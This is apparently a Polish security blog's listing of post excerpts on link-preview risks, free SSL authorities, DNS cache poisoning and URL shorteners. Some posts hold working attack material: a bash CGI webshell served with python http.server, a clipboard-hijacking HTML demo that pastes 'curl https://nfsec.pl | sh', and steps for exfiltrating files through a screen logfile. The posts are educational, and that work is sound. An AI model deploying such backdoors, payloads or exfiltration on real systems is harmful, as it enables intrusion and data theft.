NFsec Logo

Podgląd linków – some kind of monster #2

08/12/2020 w Bezpieczeństwo Możliwość komentowania Podgląd linków – some kind of monster #2 została wyłączona

W

pierwszej części omówiliśmy sobie kilka problemów związanych z funkcjonalnością generowania podglądu linków w (web)aplikacjach. Dzisiaj chciałbym rozszerzyć problemy z metodą, gdzie serwer pośredni generuje podgląd na przykładzie serwisów Twitter oraz Facebook. Tworząc tego rodzaju rozwiązanie musimy mieć świadomość, że taka funkcja może zostać wykorzystana w nie do końca w sposób jaki byśmy sobie tego życzyli. Schemat działania takiego rozwiązania jest prosty – jeśli zalogujemy się do webaplikacji Twitter’a lub Facebook’a i zamieścimy w oknie nowego wpisu link – to pierwsze, co zrobi algorytm to prześlę ten link do kolejnego systemu, który powie serwerom (botom) danego serwisu, aby odwiedziły podatną stronę, pobrały jej zawartość i zwróciły niezbędne informacje do wygenerowania podglądu przy zamieszczaniu wpisu na w/w mediach społecznościowych. Jakie zagrożenia to może wywołać?
[ czytaj całość… ]

Podgląd linków – some kind of monster #1

30/11/2020 w Bezpieczeństwo Możliwość komentowania Podgląd linków – some kind of monster #1 została wyłączona

P

odgląd linków (ang. link previews) został zaimplementowany w wielu (web)aplikacjach służących do czatowania i komunikacji – Discord, Facebook, Twitter, LinkedIn, Signal, Slack itd. Każdy nowy lub stary komunikator stara implementować się tą funkcjonalność w swoich produktach. Jeśli ta funkcja nie zostanie wykonana prawidłowo, może prowadzić do różnego rodzaju problemów np. wyciekania adresów IP, ujawnianie odnośników w szyfrowanych rozmowach, czy niepotrzebne pobieranie gigabajtów danych w tyle. Talal Haj Bakry oraz Tommy Mysk przeprowadzili badanie pokazujące, że ta prosta funkcja może stwarzać zagrożenie dla prywatności i bezpieczeństwa.
[ czytaj całość… ]

Zaufana Trzecia Strona w SSL

23/11/2020 w Bezpieczeństwo Możliwość komentowania Zaufana Trzecia Strona w SSL została wyłączona

L

et’s Encrypt to organizacja non-profit oraz projekt open-source zapewniający dostęp do bezpłatnych certyfikatów SSL. Pozwala na automatyczne przedłużanie ważności certyfikatów, które domyślnie wystawiane są na okres 3 miesięcy i są zgodne z najpopularniejszymi przeglądarkami internetowymi. Od ponad roku oprócz CA Let’s Encrypt istnieje możliwość uzyskania darmowych certyfikatów od firmy Bypass. Firma ta jest europejskim CA (ang. Certificate Authority) oferującym darmowe certyfikaty, których ważność wynosi 180 dni. Teraz do grona darmowych dostawców dołącza trzeci CA – ZeroSSL (również 90 dni). Każdy z tych dostawców jest kompatybilny z narzędziami ułatwiającymi zarządzanie certyfikatami, jak CertBot oraz ACME. Osoby zainteresowane napisaniem własnych rozwiązań mogą również wykorzystać REST API. W przypadku problemów technicznych z jednym dostawcą istnieje teraz alternatywa pozwalająca na szybkie przełączenie się na inne CA.

Recon Samurai – OneForAll

20/11/2020 w Pen Test Możliwość komentowania Recon Samurai – OneForAll została wyłączona

O

neForAll jest narzędziem służącym do odkrywania subdomen z wielu źródeł. Dzięki chińskiemu kontekstowi (developmentu) może zapewnić czasami przewagę nad tradycyjnymi narzędziami i serwisami służącymi do tego celu. Potrafi wykorzystać kilka egzotycznych chińskich źródeł danych, których inne narzędzia zwykle nie przeszukują np. FOFA, Baidu Cloud Observation, Gitee, ChinaZ Alexa oraz inne. Zwiększa to szanse na znalezienie unikalnych, wcześniej nieodkrytych punktów wejścia podczas pracy zwiadowczej. Sam kod narzędzia potrafi dostarczyć nam wiele adresów oraz innych narzędzi wykorzystywanych w tym procesie. W celu wykorzystania jego pełnego potencjału należy przejrzeć do jakich serwisów wymaga kluczy API umożliwiających odpytywanie różne serwisy.
[ czytaj całość… ]

Webshell / backdoor CGI za pomocą python http.server

16/11/2020 w Hacks & Scripts Możliwość komentowania Webshell / backdoor CGI za pomocą python http.server została wyłączona

cd /tmp
mkdir cgi-bin
echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi
echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi
echo 'spc=" "' >> ./cgi-bin/backdoor.cgi
echo 'str=$1' >> ./cgi-bin/backdoor.cgi
echo 'cmd=$(echo "${str//XXX/$spc}")' >> ./cgi-bin/backdoor.cgi
echo 'printf '"'"'%s\n'"'"' "$($cmd)"' >> ./cgi-bin/backdoor.cgi
chmod +x ./cgi-bin/backdoor.cgi 
python -m http.server --cgi
curl "http://localhost:8000/cgi-bin/backdoor.cgi?unameXXX-a"
Darwin johhny5 19.6.0 Darwin Kernel Version 19.6.0: Thu Oct 29 22:56:45 PDT 2020; 
root:xnu-6153.141.2.2~1/RELEASE_X86_64 x86_64

Więcej informacji: Mark Baggett github gist

SAD DNS

15/11/2020 w Ataki Internetowe Możliwość komentowania SAD DNS została wyłączona

N

aukowcy z Uniwersytetu Tsinghua i Uniwersytetu Kalifornijskiego na tegorocznej konferencji ACM CCS przedstawili nową metodę, którą można użyć do przeprowadzania ataków polegających na zatruwaniu pamięci podręcznej DNS. Nowe odkrycie ożywia błąd z 2008 roku, który kiedyś uważano za rozwiązany na dobre. W celu zrozumienia na czym polega reinkarnacja tego ataku powróćmy do jego podstaw. DNS jest książką adresową internetu. Co się dzieje jak wpisujemy adres URL (ang. Uniform Resource Locator) np. https://nfsec.pl do przeglądarki? Przeglądarka sprawdza swoją pamięć podręczną pod kątem wpisu DNS, aby znaleźć odpowiedni adres IP witryny. Jeśli nie zostanie znaleziony kontynuuje sprawdzanie pamięci podręcznej: systemu operacyjnego, najbliższego serwera DNS (routera lub ISP). Jeśli wpis nadal nie zostanie znaleziony to serwer DNS (routera lub ISP) inicjuje zapytanie DNS w celu znalezienia adresu IP serwera obsługującego nazwę domeny (autorytatywnego) i prosi go o podanie adresu IP szukanej domeny.
[ czytaj całość… ]

RPZ z listą od CERT Polska

11/11/2020 w Bezpieczeństwo Możliwość komentowania RPZ z listą od CERT Polska została wyłączona

O

d wersji 9.8.1 serwera BIND dostępny jest mechanizm DNS RPZ (ang. Domain Name Service Response Policy Zones). Główną motywacją do stworzenia tej funkcji była ochrona użytkowników przed zagrożeniami w internecie związanymi z złośliwymi domenami, nazwami hostów lub innymi serwerami nazw. Cyberprzestępcy zwykle używają tych samych domen na wielu ofiarach, dopóki nie zostaną im odebrane. Niestety zdolność branży bezpieczeństwa internetowego w kwestii likwidacji infrastruktury przestępczej u rejestratorów domen, dostawcach hostingu lub dostawcach usług internetowych z różnych czynników nie zawsze jest możliwa. Korzystając z RPZ administrator sieci może wdrożyć własne zasady ochrony przed niebezpiecznymi domenami w oparciu o reputację zebraną od dostawców usług bezpieczeństwa niemal w czasie rzeczywistym.
[ czytaj całość… ]

Jak sprawdzić każdy shorturl ?

07/11/2020 w CmdLineFu Możliwość komentowania Jak sprawdzić każdy shorturl ? została wyłączona

Usługi skracania adresów URL istnieją od dawna. Wikipedia datuje je na rok 2000. Dzięki mediom społecznościowym i komunikatorom usługi skracania adresów są teraz bardziej przydatne niż kiedykolwiek. Bazując na ułomności ludzkiej pamięci pozwalają nam zapamiętać krótkie adresy zamiast długich wierszy. Skrócona “część” działa jak unikalny klucz, który serwer może użyć do przekierowania żądania do wybranego, końcowego adresu URL. Istnieją różne metody przekierowania przeglądarki z adresu URL na inny. Większość z nich zwykle opiera się na nagłówku HTTP przy pomocy kodów 301 (Moved Permanently), 302 (Found), 307 (Temporary Redirect), czy 308 (Permanent Redirect). Niezależnie od kodu miejsce docelowe przekierowania jest zwykle zakodowane w polu nagłówka: Location. Bazując na tej informacji możemy sprawdzić większość skróconych adresów za pomocą polecenia curl:

curl -svI $SKRÓCONY_URL --max-redirs 0 \
--user-agent "Googlebot/2.1 (+http://www.google.com)" 2>&1 | grep -i location

Jednak sam proces przekierowania to nie jedyna rzecz, która ma miejsce, gdy nasza przeglądarka trafia na serwer skracarki. Pozostawiamy również wpis w logach ze swoim odciskiem palca zawierającym adres IP, nazwę aplikacji klienckiej i wszystko to, co przeglądarka akceptuje, aby przekazać serwerowi. Te wszystkie rzeczy poszerzają możliwości skracania adresów URL i pomagają zespołom marketingu, SEO i innym “szpiegować” (pozyskiwać dość szczegółowe informacje analityczne) klientów z nich korzystających. A jeszcze gorzej, jeśli za ich pomocą przekazujemy poufne informacje.

Niebezpieczne kopiuj / wklej z Internetu do terminala #2

03/11/2020 w Ataki Internetowe Możliwość komentowania Niebezpieczne kopiuj / wklej z Internetu do terminala #2 została wyłączona

K

ilka lat temu dowiedzieliśmy się, że kopiowanie poleceń bezpośrednio do terminala może mieć trochę inne konsekwencję niż byśmy mogli się spodziewać. Dzisiaj nowoczesne API Javascript pozwalają witrynie internetowej w trywialny sposób zastępowanie tego, co umieścisz w schowku, bez potwierdzenia lub zgody użytkownika. Poniżej znajduje się przykład tego, jak łatwo jest wykonać ten atak:

<html>
<head>
<title>Kopiuj wklej demo</title>
</head>
<body>
<p id="skopiujmnie">$ echo "Wklej mnie do terminala!"</p>
<script>
document.getElementById('skopiujmnie').addEventListener('copy', function(e) {
e.clipboardData.setData('text/plain', 'echo "A jednak wykonamy \
[curl https://nfsec.pl | sh]"\n');
e.preventDefault();
});
</script>
</body>
</html>

Powyższy kod możemy zapisać jako plik payload.html, wyświetlić w przeglądarce – zaznaczyć, skopiować wyświetlony tekst i wkleić do terminala. Należy zauważyć, że nie musimy nawet naciskać klawisza ENTER po wklejeniu, ponieważ ładunek kodu zawiera znak nowej linii, która to zrobi za nas.

Więcej informacji: Don’t Copy Paste Into A Shell

Wyprowadzamy dane z serwera za pomocą “ekranu”

30/10/2020 w Ataki Internetowe, Bezpieczeństwo Możliwość komentowania Wyprowadzamy dane z serwera za pomocą “ekranu” została wyłączona

D

ane z serwerów możemy wyprowadzać za pomocą różnego rodzaju tuneli ukrytych w protokołach. Możemy też wykorzystać do tego celu menedżer okien terminala – screen, który będzie tylko i wyłącznie zainstalowany na naszym lokalnym komputerze. Dla przykładu prześlemy plik o wielkości 1092 KB z zdalnego serwera na nasz lokalny komputer:

  • Uruchamiamy polecenie screen na lokalnym komputerze i łączymy się z zdalnym serwerem, do którego uzyskaliśmy dostęp,
  • Naciskamy sekwencję klawiszy: Ctrl+a : – po pojawieniu się znaku zachęty : w lewym, dolnym rogu wpisujemy: logfile dataout.txt i naciskamy Enter,
  • Kolejną sekwencją definiującą początek zapisu strumienia danych do pliku dataout.txt jest: Ctrl+a H,
  • Dane prześlemy zakodowane base64 wydając polecenie: openssl base64 < tajne_dane.txt,
  • Kończymy strumień danych i wyzwalamy zapis pliku tą samą sekwencją, co rozpoczęcie: Ctrl+a H.

W drugiej konsoli teraz już na lokalnym komputerze możemy oczyścić plik wycinając pierwszą (polecenie) i ostatnią (znak zachęty powłoki) linię przy okazji dekodując plik:

cat dataout.txt | tail -n +2 | head -n -1 | openssl base64 -d

[ czytaj całość… ]